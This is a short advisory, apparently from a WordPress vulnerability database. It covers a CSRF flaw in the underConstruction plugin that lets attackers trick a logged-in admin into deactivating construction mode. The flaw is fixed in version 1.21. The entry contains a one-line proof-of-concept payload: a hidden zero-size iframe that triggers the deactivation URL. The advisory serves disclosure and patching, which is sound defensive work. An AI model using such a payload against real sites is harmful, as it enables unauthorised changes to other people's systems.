WordPress Plugin Vulnerabilities
underConstruction < 1.20 - Construction Mode Deactivation via CSRF
Description
The plugin does not have CSRF check in place when deactivating the construction mode, which could allow attackers to make a logged in admin perform such action via a CSRF attack
Proof of Concept
<iframe src="http://example.com/wp-admin/index.php?page=under-construction&turnOffUnderConstructionMode" width="0" height="0" frameborder="0"></iframe>
Affects Plugins
Fixed in version 1.21
References
Classification
Miscellaneous
Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-05-26 (about 2 months ago)
Added
2022-05-26 (about 2 months ago)
Last Updated
2022-05-26 (about 2 months ago)